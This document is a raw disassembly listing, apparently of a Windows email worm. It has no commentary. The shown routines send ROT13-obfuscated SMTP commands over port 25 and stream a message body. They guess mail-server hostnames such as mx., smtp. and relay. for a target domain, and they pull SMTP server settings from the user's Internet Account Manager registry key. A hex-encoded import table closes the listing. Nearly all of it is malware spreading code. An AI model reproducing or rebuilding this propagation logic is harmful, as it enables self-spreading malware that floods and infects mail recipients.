- loc_4A7BB7: ; CODE XREF: sub_4A7B47+66j
- inc eax
- push ebx
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcpyA
- push 6
- push 1
- push 2
- call ds:WS2_32_23
- mov ebx, eax
- cmp ebx, 0FFFFFFFFh
- mov [ebp+var_4], ebx
- jnz short loc_4A7BE5
- xor eax, eax
- inc eax
- jmp loc_4A7DF9
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7BE5: ; CODE XREF: sub_4A7B47+94j
- push edi
- push 10h
- push [ebp+arg_0]
- push ebx
- call ds:WS2_32_4
- test eax, eax
- jnz loc_4A7DEC
- mov esi, 3A98h
- push ebx
- mov eax, esi
- call sub_4A7A58
- test eax, eax
- pop ecx
- jnz loc_4A7DEC
- push eax
- push esi
- push ebx
- call sub_4A7AAA
- mov esi, 0C8h
- add esp, 0Ch
- cmp eax, esi
- jl loc_4A7DEC
- cmp eax, 190h
- jge loc_4A7DEC
- lea eax, [ebp+var_108]
- push offset aRuybF ; "RUYB %f\r\n"
- push eax
- call sub_4A465E
- lea eax, [ebp+String1]
- mov edi, 2710h
- push eax
- lea eax, [ebp+var_108]
- push eax
- push edi
- push ebx
- call sub_4A7AAA
- add esp, 18h
- cmp eax, esi
- jl short loc_4A7C6C
- cmp eax, 12Bh
- jle short loc_4A7CA8
-
- loc_4A7C6C: ; CODE XREF: sub_4A7B47+11Cj
- lea eax, [ebp+var_108]
- push offset aUrybF ; "URYB %f\r\n"
- push eax
- call sub_4A465E
- lea eax, [ebp+String1]
- push eax
- lea eax, [ebp+var_108]
- push eax
- push edi
- push ebx
- call sub_4A7AAA
- add esp, 18h
- cmp eax, esi
- jl loc_4A7DEC
- cmp eax, 12Bh
- jg loc_4A7DEC
-
- loc_4A7CA8: ; CODE XREF: sub_4A7B47+123j
- lea eax, [ebp+var_108]
- push offset aZnvySebzF ; "ZNVY SEBZ:<%f>\r\n"
- push eax
- call sub_4A465E
- lea eax, [ebp+var_208]
- push eax
- lea eax, [ebp+var_108]
- push eax
- push edi
- push ebx
- call sub_4A7AAA
- add esp, 18h
- cmp eax, esi
- jl loc_4A7DEC
- cmp eax, 12Bh
- jg loc_4A7DEC
- lea eax, [ebp+var_108]
- push offset aEpcgGbF ; "EPCG GB:<%f>\r\n"
- push eax
- call sub_4A465E
- lea eax, [ebp+var_408]
- push eax
- lea eax, [ebp+var_108]
- push eax
- push edi
- push ebx
- call sub_4A7AAA
- add esp, 18h
- cmp eax, esi
- jl loc_4A7DEC
- cmp eax, 12Bh
- jg loc_4A7DEC
- push offset aData ; "DATA\r\n"
- push edi
- push ebx
- call sub_4A7AAA
- add esp, 0Ch
- cmp eax, esi
- jl loc_4A7DEC
- cmp eax, 18Fh
- jg loc_4A7DEC
- mov ecx, [ebp+arg_4]
- mov edi, ds:WS2_32_19
- mov [ebp+var_8], ecx
-
- loc_4A7D4E: ; CODE XREF: sub_4A7B47+259j
- mov al, [ecx]
- mov ebx, ecx
- jmp short loc_4A7D5F
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7D54: ; CODE XREF: sub_4A7B47+21Aj
- cmp al, 0Ah
- jz short loc_4A7D6D
- cmp al, 0Dh
- jz short loc_4A7D63
- inc ebx
- mov al, [ebx]
-
- loc_4A7D5F: ; CODE XREF: sub_4A7B47+20Bj
- test al, al
- jnz short loc_4A7D54
-
- loc_4A7D63: ; CODE XREF: sub_4A7B47+213j
- ; sub_4A7B47+227j
- mov al, [ebx]
- cmp al, 0Ah
- jz short loc_4A7D6D
- cmp al, 0Dh
- jnz short loc_4A7D70
-
- loc_4A7D6D: ; CODE XREF: sub_4A7B47+20Fj
- ; sub_4A7B47+220j
- inc ebx
- jmp short loc_4A7D63
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7D70: ; CODE XREF: sub_4A7B47+224j
- cmp ecx, ebx
- jz short loc_4A7DA2
- cmp byte ptr [ecx], 2Eh
- jnz short loc_4A7D8A
- push 0
- push 1
- push offset a__1 ; "."
- push [ebp+var_4]
- call edi ; WS2_32_19
- mov ecx, [ebp+var_8]
-
- loc_4A7D8A: ; CODE XREF: sub_4A7B47+230j
- mov eax, ebx
- push 0
- sub eax, ecx
- push eax
- push ecx
- push [ebp+var_4]
- call edi ; WS2_32_19
- test eax, eax
- jle short loc_4A7DE9
- mov [ebp+var_8], ebx
- mov ecx, ebx
- jmp short loc_4A7D4E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7DA2: ; CODE XREF: sub_4A7B47+22Bj
- push 0
- push 5
- push offset a__0 ; "\r\n.\r\n"
- push [ebp+var_4]
- call edi ; WS2_32_19
- push 0
- push 3A98h
- push [ebp+var_4]
- call sub_4A7AAA
- add esp, 0Ch
- cmp eax, esi
- jl short loc_4A7DE9
- cmp eax, 190h
- jge short loc_4A7DE9
- push offset aQuit ; "QUIT\r\n"
- push 1388h
- push [ebp+var_4]
- call sub_4A7AAA
- mov ebx, [ebp+var_4]
- add esp, 0Ch
- xor esi, esi
- jmp short loc_4A7DEF
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7DE9: ; CODE XREF: sub_4A7B47+252j
- ; sub_4A7B47+27Dj ...
- mov ebx, [ebp+var_4]
-
- loc_4A7DEC: ; CODE XREF: sub_4A7B47+ADj
- ; sub_4A7B47+C3j ...
- xor esi, esi
- inc esi
-
- loc_4A7DEF: ; CODE XREF: sub_4A7B47+2A0j
- push ebx
- call ds:WS2_32_3
- mov eax, esi
- pop edi
-
- loc_4A7DF9: ; CODE XREF: sub_4A7B47+99j
- pop ebx
-
- loc_4A7DFA: ; CODE XREF: sub_4A7B47+6Bj
- pop esi
- leave
- retn
- sub_4A7B47 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7DFD proc near ; CODE XREF: sub_4A7F4C+1E2p
-
- var_324 = byte ptr -324h
- Data = byte ptr -224h
- SubKey = byte ptr -124h
- ValueName = byte ptr -0A4h
- var_24 = word ptr -24h
- var_22 = word ptr -22h
- var_20 = dword ptr -20h
- cbData = dword ptr -14h
- phkResult = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- hKey = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 324h
- push edi
- lea eax, [ebp+SubKey]
- push offset aFbsgjnerZvpe_2 ; "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Zna"...
- push eax
- call sub_4A465E
- lea eax, [ebp+ValueName]
- push offset aFzgcFreire ; "FZGC Freire"
- push eax
- call sub_4A465E
- add esp, 10h
- lea eax, [ebp+hKey]
- xor edi, edi
- push eax ; phkResult
- push 20019h ; samDesired
- lea eax, [ebp+SubKey]
- push edi ; ulOptions
- push eax ; lpSubKey
- push 80000001h ; hKey
- call ds:RegOpenKeyExA
- test eax, eax
- jz short loc_4A7E56
- xor eax, eax
- inc eax
- jmp loc_4A7F49
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7E56: ; CODE XREF: sub_4A7DFD+4Fj
- push ebx
- mov ebx, ds:RegEnumKeyA
- push esi
- mov esi, 100h
- lea eax, [ebp+var_324]
- push esi
- push eax
- mov [ebp+var_8], edi
- mov [ebp+var_C], edi
- push edi
- jmp loc_4A7F29
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7E77: ; CODE XREF: sub_4A7DFD+133j
- lea eax, [ebp+phkResult]
- inc [ebp+var_8]
- push eax ; phkResult
- push 20019h ; samDesired
- lea eax, [ebp+var_324]
- push edi ; ulOptions
- push eax ; lpSubKey
- push [ebp+hKey] ; hKey
- call ds:RegOpenKeyExA
- test eax, eax
- jnz loc_4A7F1E
- push esi
- lea eax, [ebp+Data]
- push edi
- push eax
- call memset
- add esp, 0Ch
- lea eax, [ebp+cbData]
- mov [ebp+cbData], esi
- push eax ; lpcbData
- lea eax, [ebp+Data]
- push eax ; lpData
- push edi ; lpType
- lea eax, [ebp+ValueName]
- push edi ; lpReserved
- push eax ; lpValueName
- push [ebp+phkResult] ; hKey
- call ds:RegQueryValueExA
- test eax, eax
- jnz short loc_4A7F10
- lea edi, [ebp+Data]
- call sub_4A7877
- test eax, eax
- mov [ebp+var_20], eax
- jz short loc_4A7F0E
- push 19h
- mov [ebp+var_24], 2
- call ds:WS2_32_9
- push [ebp+arg_0]
- mov [ebp+var_22], ax
- lea eax, [ebp+var_24]
- push eax
- call sub_4A7B47
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A7F0E
- mov [ebp+var_C], 1
-
- loc_4A7F0E: ; CODE XREF: sub_4A7DFD+E4j
- ; sub_4A7DFD+108j
- xor edi, edi
-
- loc_4A7F10: ; CODE XREF: sub_4A7DFD+D2j
- push [ebp+phkResult]
- call ds:RegCloseKey
- cmp [ebp+var_C], edi
- jnz short loc_4A7F36
-
- loc_4A7F1E: ; CODE XREF: sub_4A7DFD+99j
- lea eax, [ebp+var_324]
- push esi
- push eax
- push [ebp+var_8]
-
- loc_4A7F29: ; CODE XREF: sub_4A7DFD+75j
- push [ebp+hKey]
- call ebx
- test eax, eax
- jz loc_4A7E77
-
- loc_4A7F36: ; CODE XREF: sub_4A7DFD+11Fj
- push [ebp+hKey]
- call ds:RegCloseKey
- xor eax, eax
- cmp [ebp+var_C], edi
- pop esi
- pop ebx
- setz al
-
- loc_4A7F49: ; CODE XREF: sub_4A7DFD+54j
- pop edi
- leave
- retn
- sub_4A7DFD endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7F4C proc near ; CODE XREF: sub_4A5A7C+52p
-
- var_314 = dword ptr -314h
- String2 = byte ptr -214h
- var_114 = byte ptr -114h
- var_14 = word ptr -14h
- var_12 = word ptr -12h
- var_10 = dword ptr -10h
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 314h
- mov eax, [ebp+arg_4]
- test eax, eax
- jz short loc_4A7F9A
- lea ecx, [ebp+var_314]
- push 100h ; int
- push ecx ; int
- push offset aTo ; lpString2
- call sub_4A78AC
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A7F9A
- mov cl, byte ptr [ebp+var_314]
- lea eax, [ebp+var_314]
- test cl, cl
- jz short loc_4A7F9A
-
- loc_4A7F89: ; CODE XREF: sub_4A7F4C+47j
- cmp cl, 40h
- jz short loc_4A7F95
- inc eax
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A7F89
-
- loc_4A7F95: ; CODE XREF: sub_4A7F4C+40j
- cmp byte ptr [eax], 0
- jnz short loc_4A7F9F
-
- loc_4A7F9A: ; CODE XREF: sub_4A7F4C+Ej
- ; sub_4A7F4C+2Bj ...
- xor eax, eax
- inc eax
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7F9F: ; CODE XREF: sub_4A7F4C+4Cj
- push ebx
- mov ebx, ds:lstrcpyA
- push esi
- inc eax
- push edi
- push eax ; lpString2
- lea eax, [ebp+String2]
- push eax ; lpString1
- call ebx ; lstrcpyA
- mov esi, [ebp+arg_0]
- jmp short loc_4A7FED
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7FB8: ; CODE XREF: sub_4A7F4C+A3j
- lea edi, [esi+8]
- call sub_4A7877
- test eax, eax
- mov [ebp+var_10], eax
- jz short loc_4A7FEB
- push 19h
- mov [ebp+var_14], 2
- call ds:WS2_32_9
- push [ebp+arg_4]
- mov [ebp+var_12], ax
- lea eax, [ebp+var_14]
- push eax
- call sub_4A7B47
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A800D
-
- loc_4A7FEB: ; CODE XREF: sub_4A7F4C+79j
- mov esi, [esi]
-
- loc_4A7FED: ; CODE XREF: sub_4A7F4C+6Aj
- test esi, esi
- jnz short loc_4A7FB8
- and [ebp+var_4], esi
- mov esi, ds:wsprintfA
-
- loc_4A7FFA: ; CODE XREF: sub_4A7F4C+1C7j
- mov eax, [ebp+var_4]
- cmp eax, 9 ; switch 10 cases
- ja loc_4A80B3 ; default
- jmp ds:off_4A8144[eax*4] ; switch jump
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A800D: ; CODE XREF: sub_4A7F4C+9Dj
- ; sub_4A7F4C+1ABj ...
- xor eax, eax
- jmp loc_4A813F
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8014: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x0
- push eax ; lpString2
- lea eax, [ebp+var_114]
- push eax ; lpString1
- call ebx ; lstrcpyA
- jmp loc_4A80BA
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8029: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x1
- push eax
- push offset aMx_S ; "mx.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8037: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x2
- push eax
- push offset aMail_S ; "mail.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8045: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x3
- push eax
- push offset aSmtp_S ; "smtp.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8053: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x4
- push eax
- push offset aMx1_S ; "mx1.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8061: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x5
- push eax
- push offset aMxs_S ; "mxs.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A806F: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x6
- push eax
- push offset aMail1_S ; "mail1.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A807D: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x7
- push eax
- push offset aRelay_S ; "relay.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A808B: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x8
- push eax
- push offset aNs_S ; "ns.%s"
- jmp short loc_4A80A5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8099: ; CODE XREF: sub_4A7F4C+BAj
- ; DATA XREF: .text:004A8144o
- lea eax, [ebp+String2] ; case 0x9
- push eax
- push offset aGate_S ; "gate.%s"
-
- loc_4A80A5: ; CODE XREF: sub_4A7F4C+E9j
- ; sub_4A7F4C+F7j ...
- lea eax, [ebp+var_114]
- push eax
- call esi ; wsprintfA
- add esp, 0Ch
- jmp short loc_4A80BA
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A80B3: ; CODE XREF: sub_4A7F4C+B4j
- and [ebp+var_114], 0 ; default
-
- loc_4A80BA: ; CODE XREF: sub_4A7F4C+D8j
- ; sub_4A7F4C+165j
- cmp [ebp+var_114], 0
- jz short loc_4A8118
- lea edi, [ebp+var_114]
- call sub_4A7877
- test eax, eax
- mov [ebp+var_10], eax
- jz short loc_4A8110
- push 19h
- mov [ebp+var_14], 2
- call ds:WS2_32_9
- push [ebp+arg_4]
- mov [ebp+var_12], ax
- lea eax, [ebp+var_14]
- push eax
- call sub_4A7B47
- pop ecx
- test eax, eax
- pop ecx
- jz loc_4A800D
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 14h
- jl short loc_4A8118
-
- loc_4A8110: ; CODE XREF: sub_4A7F4C+187j
- inc [ebp+var_4]
- jmp loc_4A7FFA
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A8118: ; CODE XREF: sub_4A7F4C+175j
- ; sub_4A7F4C+1C2j
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 19h
- jge short loc_4A813C
- push [ebp+arg_4]
- call sub_4A7DFD
- test eax, eax
- pop ecx
- jz loc_4A800D
-
- loc_4A813C: ; CODE XREF: sub_4A7F4C+1DDj
- xor eax, eax
- inc eax
-
- loc_4A813F: ; CODE XREF: sub_4A7F4C+C3j
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A7F4C endp
-
- ; ───────────────────────────────────────────────────────────────────────────
- off_4A8144 dd offset loc_4A8014 ; DATA XREF: sub_4A7F4C+BAr
- dd offset loc_4A8029 ; jump table for switch statement
- dd offset loc_4A8037
- dd offset loc_4A8045
- dd offset loc_4A8053
- dd offset loc_4A8061
- dd offset loc_4A806F
- dd offset loc_4A807D
- dd offset loc_4A808B
- dd offset loc_4A8099
- ; [00000006 BYTES: COLLAPSED FUNCTION WS2_32_151. PRESS KEYPAD "+" TO EXPAND]
- ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
- ; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
- align 4
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A8180 proc near ; CODE XREF: sub_4A5EC8+8p
-
- arg_0 = byte ptr 8
-
- push ecx
- cmp eax, 1000h
- lea ecx, [esp+arg_0]
- jb short loc_4A81A0
-
- loc_4A818C: ; CODE XREF: sub_4A8180+1Ej
- sub ecx, 1000h
- sub eax, 1000h
- test [ecx], eax
- cmp eax, 1000h
- jnb short loc_4A818C
-
- loc_4A81A0: ; CODE XREF: sub_4A8180+Aj
- sub ecx, eax
- mov eax, esp
- test [ecx], eax
- mov esp, ecx
- mov ecx, [eax]
- mov eax, [eax+4]
- push eax
- retn
- sub_4A8180 endp ; sp = -8
-
- ; ───────────────────────────────────────────────────────────────────────────
- align 4
- dword_4A81B0 dd 0 ; DATA XREF: sub_4A4215+6w sub_4A4221r ...
- align 8
- dword_4A81B8 dd 0 ; DATA XREF: sub_4A539F+Cw
- ; sub_4A539F+18w ...
- dword_4A81BC dd 0 ; DATA XREF: sub_4A539F+31w
- ; sub_4A539F+5Cw ...
- byte_4A81C0 db 0 ; DATA XREF: sub_4A539F+94o
- ; sub_4A539F+F5r
- byte_4A81C1 db 0 ; DATA XREF: sub_4A539F+11Cr
- dd 3Fh dup(0)
- align 4
- dword_4A82C0 dd 0 ; DATA XREF: sub_4A539F+7Bw
- db 3 dup(0)
- byte_4A82C7 db 0 ; DATA XREF: sub_4A539F+E2r
- ; CHAR String1
- String1 db 0 ; DATA XREF: sub_4A539F+8Fo
- ; sub_4A539F+D9r
- dd 3Fh dup(0)
- align 4
- dword_4A83C8 dd 0 ; DATA XREF: sub_4A6132w sub_4A613D+4w ...
- dword_4A83CC dd 0 ; DATA XREF: sub_4A5788+37r
- ; sub_4A5788+B5r ...
- dword_4A83D0 dd 0 ; DATA XREF: .text:004A5AEDo
- ; .text:004A5B10r ...
- dword_4A83D4 dd 0 ; DATA XREF: sub_4A5934+1r sub_4A595Dr ...
- dd 3 dup(0), 85D4h, 101Ch, 3 dup(0), 85E1h, 1000h, 3 dup(0)
- dd 85EEh, 1108h, 3 dup(0), 85F9h, 112Ch, 3 dup(0), 8604h
- dd 1144h, 66h dup(0), 4E52454Bh, 32334C45h, 4C4C442Eh
- dd 56444100h, 33495041h, 6C642E32h, 534D006Ch, 54524356h
- dd 6C6C642Eh, 45535500h, 2E323352h, 6C6C64h, 5F325357h
- dd 642E3233h, 6C6Ch, 72430000h, 65746165h, 656C6946h, 7070614Dh
- dd 41676E69h, 69460000h, 654E646Eh, 69467478h, 41656Ch
- dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 65470000h
- dd 766E4574h, 6E6F7269h, 746E656Dh, 69726156h, 656C6261h
- dd 41h, 57746547h, 6F646E69h, 69447377h, 74636572h, 4179726Fh
- dd 65470000h, 69724474h, 79546576h, 416570h, 65470000h
- dd 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h, 65h
- dd 656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h
- dd 6C470000h, 6C61626Fh, 6F6C6C41h, 63h, 54746547h, 46706D65h
- dd 4E656C69h, 41656D61h, 65530000h, 6C694674h, 696F5065h
- dd 7265746Eh, 65470000h, 73795374h, 546D6574h, 656D69h
- dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 74697257h
- dd 6C694665h, 65h, 64616F4Ch, 7262694Ch, 41797261h, 736C0000h
- dd 70637274h, 4179h, 736F6C43h, 6E614865h, 656C64h, 65470000h
- dd 6C694674h, 74744165h, 75626972h, 41736574h, 72430000h
- dd 65746165h, 656C6946h, 41h, 7274736Ch, 416E656Ch, 65470000h
- dd 6D655474h, 74615070h, 4168h, 53746547h, 65747379h, 7269446Dh
- dd 6F746365h, 417972h, 736C0000h, 61637274h, 4174h, 4C746547h
- dd 45747361h, 726F7272h, 72430000h, 65746165h, 6574754Dh
- dd 4178h, 79706F43h, 656C6946h, 41h, 656C6544h, 69466574h
- dd 41656Ch, 65530000h, 6C694674h, 74744165h, 75626972h
- dd 41736574h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h
- dd 41656D61h, 79530000h, 6D657473h, 656D6954h, 69466F54h
- dd 6954656Ch, 656Dh, 53746547h, 65747379h, 6D69546Dh, 46734165h
- dd 54656C69h, 656D69h, 6C530000h, 706565h, 78450000h, 68547469h
- dd 64616572h, 61570000h, 6F467469h, 6E695372h, 4F656C67h
- dd 63656A62h, 74h, 61657243h, 72506574h, 7365636Fh, 4173h
- dd 61657243h, 68546574h, 64616572h, 65470000h, 63695474h
- dd 756F436Bh, 746Eh, 74697845h, 636F7250h, 737365h, 65470000h
- dd 6D695474h, 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h
- dd 614D0000h, 65695670h, 46664F77h, 656C69h, 69460000h
- dd 6954656Ch, 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h
- dd 65h, 4C746547h, 6C61636Fh, 656D6954h, 69570000h, 68436564h
- dd 6F547261h, 746C754Dh, 74794269h, 65h, 50746547h, 41636F72h
- dd 65726464h, 7373h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h
- dd 65480000h, 72467061h, 6565h, 50746547h, 65636F72h, 65487373h
- dd 7061h, 70616548h, 6F6C6C41h, 63h, 7274736Ch, 6E797063h
- dd 41h, 7274736Ch, 41706D63h, 736C0000h, 6D637274h, 416970h
- dd 6C470000h, 6C61626Fh, 65657246h, 6E490000h, 6C726574h
- dd 656B636Fh, 63654464h, 656D6572h, 746Eh, 65746E49h, 636F6C72h
- dd 4964656Bh, 6572636Eh, 746E656Dh, 65520000h, 69466461h
- dd 656Ch, 616D6E55h, 65695670h, 46664F77h, 656C69h, 65530000h
- dd 72685474h, 50646165h, 726F6972h, 797469h, 65520000h
- dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
- dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 51676552h
- dd 79726575h, 756C6156h, 41784565h, 65520000h, 756E4567h
- dd 79654B6Dh, 41h, 43676552h, 74616572h, 79654B65h, 417845h
- dd 656D0000h, 7465736Dh, 6F740000h, 65776F6Ch, 72h, 636D656Dh
- dd 7970h, 69647369h, 746967h, 6F740000h, 65707075h, 72h
- dd 64787369h, 74696769h, 73690000h, 756E6C61h, 6Dh, 70737369h
- dd 656361h, 68430000h, 70557261h, 42726570h, 41666675h
- dd 68430000h, 70557261h, 41726570h, 68430000h, 6F4C7261h
- dd 41726577h, 76770000h, 69727073h, 4166746Eh, 73770000h
- dd 6E697270h, 416674h, 56h dup(0)
- _text ends
-
-
- end start
-